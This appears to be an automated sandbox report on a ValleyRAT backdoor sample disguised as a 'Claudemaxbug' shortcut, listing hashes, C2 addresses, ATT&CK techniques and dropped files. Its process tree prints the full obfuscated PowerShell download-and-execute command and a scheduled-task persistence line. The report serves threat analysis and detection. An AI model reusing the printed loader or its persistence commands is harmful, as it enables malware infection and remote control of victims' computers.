valleyrat_s2 | 101ca72ea83c5a7137c3b2c7dabad0d1bc5760710926844b6f52749f4b191eb3

Analysis

max time kernel
300s
max time network
298s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/08/2026, 16:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Claudemaxbug/max.lnk
Size 6KB
Sample260801-ty25rade75
SHA256 101ca72ea83c5a7137c3b2c7dabad0d1bc5760710926844b6f52749f4b191eb3
MD5 bef19edf84c544d53f9cfe3a2f80596b
SHA1 77c97ea8f29986482e43a9a39bb902c7c5c0086e
SHA512 a06b1b6d6056c8d3f1b53a201d681c704098f061d3117e50b236f68e003e2f5638b014b740d28dc42c57fc9d764785b3902f1875e4671ce67bb7318daf05bbb3
SSDEEP 192:85vXWS4QPJ6WCPJYPJKSqPODJ5povpVmvVbIpy9UaWgLAgjs:8vGSXPJ6WCPJYPJKSpn5yOiJ4s
TLSH
T135E1C1502DEB10CCF1775B702BC8BAF70A96F4B5692EB2F420418A484771AC5DCB2E79
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution valleyrat_s2 persistence

Malware Config

Extracted

Family

valleyrat_s2

Version

118.107.43.220:8080
118.107.43.220:8888

Attributes

campaign_date
2026. 7.31

Signatures

Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2968	powershell.exe
9	3232	rundll32.exe
10	5972	rundll32.exe
11	3232	rundll32.exe
12	5972	rundll32.exe
13	3232	rundll32.exe
14	5972	rundll32.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	vmtoolsd.exe
Key opened	\REGISTRY\MACHINE\Software\VMware, Inc.\VMware Tools	vmtoolsd.exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	vmtoolsd.exe

Executes dropped EXE 3 IoCs

pid	Process
1088	chgport.exe
3556	vmtoolsd.exe
5056	chgport.exe

Loads dropped DLL 13 IoCs

pid	Process
1088	chgport.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
1088	chgport.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
5056	chgport.exe
5056	chgport.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChgUpSvc = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MMC\\chgport.exe"	vmtoolsd.exe

Enumerates connected drives 3 TTPs 44 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1088 set thread context of 3232	1088	chgport.exe	95
PID 5056 set thread context of 5972	5056	chgport.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2496	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chgport.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chgport.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2968	powershell.exe
2968	powershell.exe
1088	chgport.exe
1088	chgport.exe
3556	vmtoolsd.exe
3556	vmtoolsd.exe
5056	chgport.exe
5056	chgport.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe
3232	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3232	rundll32.exe
5972	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 2968	2496	cmd.exe	90
PID 2968 wrote to memory of 1388	2968	powershell.exe	91
PID 2968 wrote to memory of 1088	2968	powershell.exe	93
PID 2968 wrote to memory of 3556	2968	powershell.exe	94
PID 1088 wrote to memory of 3232	1088	chgport.exe	95
PID 1088 wrote to memory of 3232	1088	chgport.exe	95
PID 3556 wrote to memory of 5456	3556	vmtoolsd.exe	96
PID 5056 wrote to memory of 5972	5056	chgport.exe	100
PID 5056 wrote to memory of 5972	5056	chgport.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\max.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JAByAGUAdgAgAD0AIAAnADsAIgBlAHgAZQAuAGQAcwBsAG8AbwB0AG0AdgBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7ACIAZQB4AGUALgB0AHIAbwBwAGcAaABjAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIAAmADsAZQBjAHIAbwBGAC0AIAAiAHAAaQB6AC4AMwAzADMAdQBoAG4AbwBZAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABtAGUAdABJAC0AZQB2AG8AbQBlAFIAIAA7AGUAYwByAG8ARgAtACAAIgBDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABoAHQAYQBQAG4AbwBpAHQAYQBuAGkAdABzAGUARAAtACAAIgBwAGkAegAuADMAMwAzAHUAaABuAG8AWQBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtACAAZQB2AGkAaABjAHIAQQAtAGQAbgBhAHAAeABFADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkAXABcAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAG8ALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkALwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7AH0AbABsAHUATgAtAHQAdQBPAHwAZQBjAHIAbwBGAC0AIAAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAHkAcgBvAHQAYwBlAHIAaQBEACAAZQBwAHkAVAAtACAAbQBlAHQASQAtAHcAZQBOACAAIAB7ACkAKQAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQB0AHMAZQBUACgAIAB0AG8AbgAtACgAIABmAGkAIAA7ACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAGgAdABhAFAAZQBsAGkARgAtACAAcwBwAGEAcwAgADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAG8ALQAgACIAdAB4AHQALgAOZvSLLwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7ACIANAAzADEALwAvADoAIgA9AEIAUwAkADsAIgBnAG4AaQBzAHIAYQAiAD0AbABsACQAOwAiAFAAYwBpACIAPQBrAGsAJAA7ACIAcwBhAEIAIgA9AGoAagAkADsAIgBlAHMAVQAtACIAPQBoAGgAJAA7ACIAcAAiAD0AdgB2ACQAOwAiAHQAdABoACIAPQBjAGEAJAA7ACIAagB1AGgAIgA9AGoAdQBoACQAOwAiAGoARABTAGgAIgA9AEUAUgBoACQAOwAiAGQAeQB1AGkAaQAiAD0AcwBGAEUAZgAkADsAIgBlAGUAZQB3AHMAcwB5ACIAPQBzAHMAZQBmACQAOwAiAGUAZQBlAHgAYwB2AGcAZgBzAHkAIgA9AHMAZABkAGUAZgAkADsAIgBlAEcAZAByAHMAdABnACIAPQBBAHQAZABnAGcAZABzAHoAbQBaACQAOwAiAGUAZgBkAGUAcwByAGUAIgA9AHMAdABlAGEAcwBiACQAOwAiAGQAdAB5AGgAZwAiAD0ARQBkAFMAVgBHACQAOwAiAGQAdQBmAGkAagBsAGcAIgA9AGYAZABkAGUAcQB0AGcAaABqACQAOwAiAGIAcgBlAHMAYQBkAGQAIgA9AGYAZABkAGQAZABkAHAAbwBrAGgAagAkADsAIgBiAHIAZQBzAGEARgBHAEkATQAiAD0AZgBkAGQAZABkAEcARwBGAEQAJAA7ACIAYgByAGUAcwBNACIAPQBmAGQAZAAkADsAIgBiAHIAZQBzAEQARABNACIAPQBmAGQAUwBkAEEAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAFMAZABCAEsAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAGQAQgBMACQAOwBlAGMAcgBvAEYALQAgACIAawBuAGwALgB0AHgAdAAuAA5m9ItcAFwAaAB0AGEAUABsAGEAYwBvAGwAJAAiACAAaAB0AGEAUAAtACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBoAHQAYQBQAC4AKQBuAG8AaQB0AGEAYwBvAEwALQB0AGUARwAoACAAPQAgAGgAdABhAFAAbABhAGMAbwBsACQAJwAKACQAYwBtAGYAIAA9ACAALQBqAG8AaQBuACAAJAByAGUAdgBbAC0AMQAuAC4ALQAkAHIAZQB2AC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGYA
  2⤵
  - Badlisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\说明.txt
    3⤵
    PID:1388
- - C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe
      4⤵
      Badlisted process makes network request
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3232
- - C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe"
    3⤵
    - Looks for VMWare Tools registry key
    - Looks for VMWare services registry key.
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3556
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "ChgUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe" /sc daily /st 09:00 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5456

C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

说明.txt

Path C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\说明.txt
Size 108KB
SHA256 2ad8015e32be32383252dbdeb1e8fb2531a5d1bc1aa496c772caca31cf1b5674
MD5 cb4b533238a2854cb952547104b094f8
SHA1 015f45196d98930502d8ec18d4eb2d4b686e0fa0
SHA512 15cc6f565cd52d798b4031f7a5644b07cfc7bd9d20d0f89115f4a9cf34821f7cac1225b488909c7521245200983baf8d8895186178e8a666b6c172793e6d331f
SSDEEP 768:yhYOCpPM/w1ZCw51VZnnxGcl0QKV6pXBfkWreHt7OfNqCqPWia/xI7JssoFUPp1:WC/TVZQmLKVy0t7OVqnP8xIlssoi1
TLSH
T1D2B3450FBD7C8764AA88E2810F4289D711ADB75027A9D6C9F28F7D30606C73973296C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

222.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\222.txt
Size 18B
SHA256 d6aae17a44e4d1f7e882e5fe898f56edfc0aaa27d620f735c9ed7902ce72c199
MD5 fa1cd2e98edffcc96319ac4133176307
SHA1 769fc3d91e8d2f9e2c7e70f95cacc6243c9191c6
SHA512 96a260b9a1fb596899c87d13dd7251fc3011f8c2a6ea71def3b2ec7b435ff1584460fc6d6cff5b23113ed5706c76040c64c0910f7c90e3e91d9bad1fdbaa9fae
MD5 SHA1 SHA512

Submit Download

3.ico

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\3.ico
Size 16KB
SHA256 950d53003d6787915dbad120d0e2964ea7302a56da93e836e27ced079624e697
MD5 ecc018d8fad1329c36f5a78a4cf07bc9
SHA1 4859a5e3f031064aba203bcb2a54082358bff5e8
SHA512 15e943de6af5660f075132d71c75804e4e62b5e23b3e2e568a00eff9cca6f2b55dcaf85873e9ff2ce7688abdc65d49c0e35b4a19d29989d45cbf4c7608ffa481
SSDEEP 48:ReHYByUFMV4WnYnhcWSPmZSuLrTESQ0NSqaJX9QweZ10f:RWYEa2oeO1/p10f
TLSH
T10572D9D1C7FC218CF46A393B2B614D4894E9EE34482DA4A3890CB0CB15F6C5565A67FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3.pdf

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\3.pdf
Size 824KB
SHA256 a6dde2021305f44bf707b879375811aac356af8d966329cb129df4de2fd0058d
MD5 6f920edeba4dcb13663936d38eac6148
SHA1 70b18ae658c5fc3b3f52ee72cc9a73fbe5b37ec4
SHA512 580ac9068dc9ab155a6c2f9c49a0935f2c915a81860ac9ccafe91fa53f1d698b9098cfe379ca5f5361044fd8146c5da3dc7a665dacd257c3fad05920e42a2a46
SSDEEP 24576:l0UtBd5co4vi7sMdnFxG+h/99MMwUjtFOkM9jRKfGW:l0wd2o77bde0/rMMwQGV9jofGW
TLSH
T13C05F1B9E9D41CDCEC43CB8665A6391445ADF14B97CC3AC118BC8F86B181F0E9B935E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LoggerCollector.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\LoggerCollector.dll
Size 185KB
SHA256 72965840a521c2dab3e6a021301df314f1cf4cd7a2dd57eaa04b2e84ec198609
MD5 fe6c6798f23536e8574e7b5be96baf63
SHA1 fc1e427b068a801c67eef80309daa3fb18bae3a7
SHA512 56e48ec1f09923650beff729945e8ab9e8b09fd653c5cfd87289e4605b6818f60f09103fb1d8339924e69bb5c3674c9e3304d20fc086bdd3a98175b016a29c02
SSDEEP 3072:HOEcjzoY7iFWR1nwsk82dOmsHy57Xsnz6HjiOz9qGRoSGFc0lCrs1VFoe:HOpPoK1Nk8bDSJQzUOcouCN
TLSH
T1DA046C11B8D1C036D66F09709979DBA55E3EFC904FB4EAC763844DBE4E306C0AB35A1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TT.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\TT.exe
Size 76KB
SHA256 b50952f9af310be586746356508b9fd430dcbbaa155a04e6f9563632de0a023b
MD5 2b99efa18ca9132208a73c7888a8f518
SHA1 dea37c5984985da472dda61d3b6a4cce462ae6b9
SHA512 42c71c058c7ffebb4f6d2e3c8725eae6653dff50d55648576057ee7ead645db76b747cc67d3e864abb4b314f849821f589cc1adbc4db7553e513e672684bb6c4
SSDEEP 768:UBB1AKdpLnrhi+NwjGNNKgZ8bmY5/hQ9E08N6QNdA3iPmbL:Uz5hi+NwjGNNKpT55YE08NZTu7
TLSH
T1EE7397C2E382AE4DEF0E70771763856480B9A9B25F036403B70D729E39F9DA0174D5AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chgport.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
Size 2.2MB
SHA256 255e4c5b81ddabc02455b7b4560e168b4064e63ec3721230201d1a7928c9f158
MD5 33922d12e5bb8f40ecddf816124ae93d
SHA1 28244217fa205f12cf40278e97a3a01e6d7366a3
SHA512 1fdc906fdf3a89105d8e8996ec58e26e4d802fbbc99004d2f9a13a94cabeabde104fd55135763d5b959d1741d53e06ca18879407864c1e37e0a8764df9ea1973
SSDEEP 49152:6r7yiWVow1eV9LFc2/4Pu6qBWzoTJkpuHI27:47PW+2eV9LXmCWzwJS+
TLSH
T1E5B56D21B546E433E5B200B157BF57FEC62DAA30172580CBA3C05EB95A386D37A3176B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

glib-2.0.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\glib-2.0.dll
Size 1.1MB
SHA256 2e6ed256cc0c0e1dbd8d0fbd83818744b4723def05be9c0bcbca961feac56fdf
MD5 daa7802f04778cb6287490737ad48c50
SHA1 115ec90a6b366e469aca8082524f13be14a4c5e0
SHA512 d0d697fd12229a90add7a2effb6541425b1e33144ba98ad4b044f4ab12a0b9ad5288c1b42a9a59efe2422e0028ebe4fa6645392c39eb9118e49422cd26793331
SSDEEP 24576:wiLoh7Mu3tDbVt1nqxo/GqMMaeE0YZr+NIZd6tv1M80ap:xkh7Mu3tf1nQo/GqJbE0YZrsoktvEC
TLSH
T110452955E64939A7EB96CC7988E19353E27075080F3366DB3E6CC6691B2FAD30236F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmodule-2.0.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gmodule-2.0.dll
Size 131KB
SHA256 8948d802bca3dbc2fa8dc238f7a4176edaeb033ad2089a029e3fbc32d0d89a98
MD5 d107ac76e9570c83f5cc5df90acec179
SHA1 08d332c4bdbe3f3332d82ecfb33072c873843afc
SHA512 b1fa751910dc05959a623fbc5d09891f43e4909c3a7156b53069115739576cdf094c2186fcef56a1122e0612744726f3e7b45a38e898a8baf56e081d8ea6adcb
SSDEEP 3072:14PvcnHmArw+oyWAT1gCRLqPwTRN7K59ZLwpKkD9:9Hmoloy/gCxE5bw4e9
TLSH
T1ACD3294B77A510FBE0BBC139C5931A06F7B2B86207609B9F47A0465A1F237E09D3DB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gobject-2.0.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gobject-2.0.dll
Size 295KB
SHA256 8716833a789cb1bd0c3367be44996f9198138faaeb876a7874812319ff505c3f
MD5 f8ed96def23c414c08b064cc13e6e67c
SHA1 ff4aac8d31996cb557f65571f5c76206c156acd4
SHA512 ea0d87c4fc5e622560c8ae2416461fa8db40a9c404322ffd24f47d95b1d132df42892afd4a90beb73b29ff1656692f424ea918d13c5127a588e1d321b180e03c
SSDEEP 6144:qpFZCqYVAWHgAhh+c12xSk5FbYL+W5nP/fijbRV4KNPGmKHTAZTYWu3TM:uFZCqYqWH3hh+c12JSVinR91KYEY
TLSH
T18B545B5DA2582C69EEABC038C642D507D2B374011362A3CF17B487AA1F37AE5F93E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

intl.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\intl.dll
Size 94KB
SHA256 2b610cef5cdaafcdb10a2b63de10913912b4b5141ae7d81cece4e9398911d10b
MD5 7e9a97dcaa4be1d9260a98461d663efb
SHA1 6d245eb746d94ab786444ad42c2c59663833bdc2
SHA512 5c909ad401397cd51c091b8f04e8a84c159b620116e3ed0e739a7cc9d2944adb5e96ebda37048ea5bdabb78cced10fcfd26b8ccb73492ff40e590f794b3b5167
SSDEEP 1536:8Qdk8l0gArxP3gncYJ8yIZlHQmZtBJwaOW5B2eIlLR8iy80Q:8QaDFxmBiB2aOW5wR8iy80Q
TLSH
T1B7935B8E8A995052D95B81F49496F302CA73B853072C9BDF0A78C3152F869FB1F3B791
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lpinfos.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\lpinfos.dll
Size 33KB
SHA256 16a2b6ba2284a2476d4a345b35502c52a2a98ac0931ce7faf814765f659e2725
MD5 4267e963815c81d39b7cb792630bcde6
SHA1 b10b62324a8685d5ded99e92a34742a25a7a7a11
SHA512 f13247528613f9f7ca9189150f0235b3ba6054892e1573f7eb0de84d0fec10e884dc595a7faf3f620fc0fc52969221c98e0c7efbe46942be6becb693d9f6e416
SSDEEP 384:Aa57HaWAvSRJHxLKTEzm0fVZN0cH3FSqHOnmnYPL5YUHeMSLdiOUUip23+r/jLri:Ae7Avkx44ZTVSJmOuLdiyip23+zjFI
TLSH
T171E26C871B5868A3EE86CAB4D4A2E61BDE75F3D05BD411CF1131C2841F92BD23B69B09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pcre.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\pcre.dll
Size 403KB
SHA256 9524a9ae031af3d1755ef7b14031fa4372a9891622323fecb1a8f0180beb2ffe
MD5 eb3eea73f3c326e3c1f3f230765b4a9b
SHA1 29385ce198deabd991105e1a0a8fbaacdbfd0258
SHA512 58751d2cca457291b05e6969759ac08c15a1d7932515285efafae8fcc963b1f96497bd873a889923bc943f3386b9eb2b643bd7d8edd16950d8235488550ad6be
SSDEEP 6144:/kScjFvmztCe0XaHgxhBXzsF3z6Bdg5zDS/fpGY4E9:WtmoAHg3BjsF4dg5aJGZo
TLSH
T13A94294263B500B9FFEBD1374363D116DBBA316C53A35EAF24D05A70BA327710A2E619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vcruntime140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
